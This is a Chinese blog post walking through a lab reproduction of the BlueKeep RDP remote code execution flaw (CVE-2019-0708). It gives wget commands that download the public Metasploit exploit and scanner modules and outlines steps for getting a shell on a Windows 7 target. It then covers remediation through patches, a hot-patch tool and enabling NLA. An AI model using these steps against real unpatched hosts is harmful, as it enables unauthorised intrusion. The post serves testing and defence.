• Windows CVE-2019-0708 远程桌面代码执行漏洞复现


    Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    一、漏洞说明

    2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大。

    目前,9月7日EXP代码已被公开发布至metasploit-framework的Pull requests中,经测试已经可以远程代码执行。

    二、漏洞影响版本

    • Windows 7 for 32-bit Systems Service Pack 1
    • Windows 7 for x64-based Systems Service Pack 1
    • Windows Server 2008 for 32-bit Systems Service Pack 2
    • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
    • Windows Server 2008 for Itanium-Based Systems Service Pack 2
    • Windows Server 2008 for x64-based Systems Service Pack 2
    • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
    • Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
    • Windows Server 2008 R2 for x64-based Systems Service Pack 1
    • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
    • Windows XP SP3 x86
    • Windows XP Professional x64 Edition SP2
    • Windows XP Embedded SP3 x86
    • Windows Server 2003 SP2 x86
    • Windows Server 2003 x64 Edition SP2

    注:Windows 8和windows10以及之后的版本不受此漏洞影响

    三、漏洞环境搭建

    攻击机:kali 2018.2

    靶机:win7 sp1 7061

      

    四、漏洞复现

    1、更新msf

    apt-get update

    apt-get install metasploit-framework

      

    2、下载攻击套件

    wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

    3、替换msf中相应的文件 

    cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
    
    rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
    
    rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
    
    cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

    4、启动msf,加载文件

      

    5、搜索0708,可以看到文件成功加载

      

    6、利用漏洞,设置rhosts、target、payload

      

       

       

       

    7、开始执行exp,成功获得shell

       

       

    五、漏洞防御

    1、热补丁修复工具下载,下载地址: https://www.qianxin.com/other/CVE-2019-0708

    注: CVE-2019-0708热补丁工具”是针对“Windows远程桌面服务的远程代码执行漏洞CVE-2019-0708”推出的热补丁修复工具,可以针对不能直接打补丁环境,提供的临时解决漏洞问题的方案。 

    1、 下载文件进行解压。
    2、 使用win+R快捷键或开始菜单选择“运行”,输入cmd。调起命令行工具。
    3、 在命令行工具,执行命令到工具所在文件夹
    4、 输入命令对应功能,启用热补丁命令:QKShield.exe /enable ;禁用热补丁命令:QKShield.exe/disable 。
    5、 重启系统后,需要重新运行命令行来启用热补丁

    2、启用热补丁

      

    3、再次检测是否存在漏洞,可以看到打完热补丁之后,不存在漏洞了

      

    4、打补丁,漏洞修复工具下载,下载地址: https://www.qianxin.com/other/CVE-2019-0708

      

    5、点击”立即修复”,完成安装之后,重启电脑

      

       

    6、使用漏洞扫描工具检测是否存在漏洞,扫描工具下载地址: https://www.qianxin.com/other/CVE-2019-0708

       

    7、 官方补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

    8、临时措施

      1、若用户不需要用到远程桌面服务,建议禁用该服务。

           2、开启网络级别身份验证(NLA),此方案适用于Windows 7, Windows Server 2008, Windows Server 2008 R2。

      

     9、开启"网络级别身份验证"之后,再次漏洞扫描,发现不存在漏洞 

    -------------------------------------------------------------------------------------------------------

    官方补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

  • 相关阅读:
    linux系统之tr命令
    Tmux会话-基本操作及原理
    [题解] P1552 [APIO2012]派遣
    数论学习笔记
    Splay 学习笔记
    SpringCloud---入门篇(1)
    获小黄杉有感
    2020湖湘杯-CRYPTO-简单的密码3 WriteUp (CBC字节翻转)
    ECC椭圆曲线加密算法—加解密(SageMath实现)
    栅栏密码&W型栅栏密码-加解密(python实现)
  • 原文地址:https://www.cnblogs.com/yuzly/p/11485316.html
Copyright © 2020-2023  润新知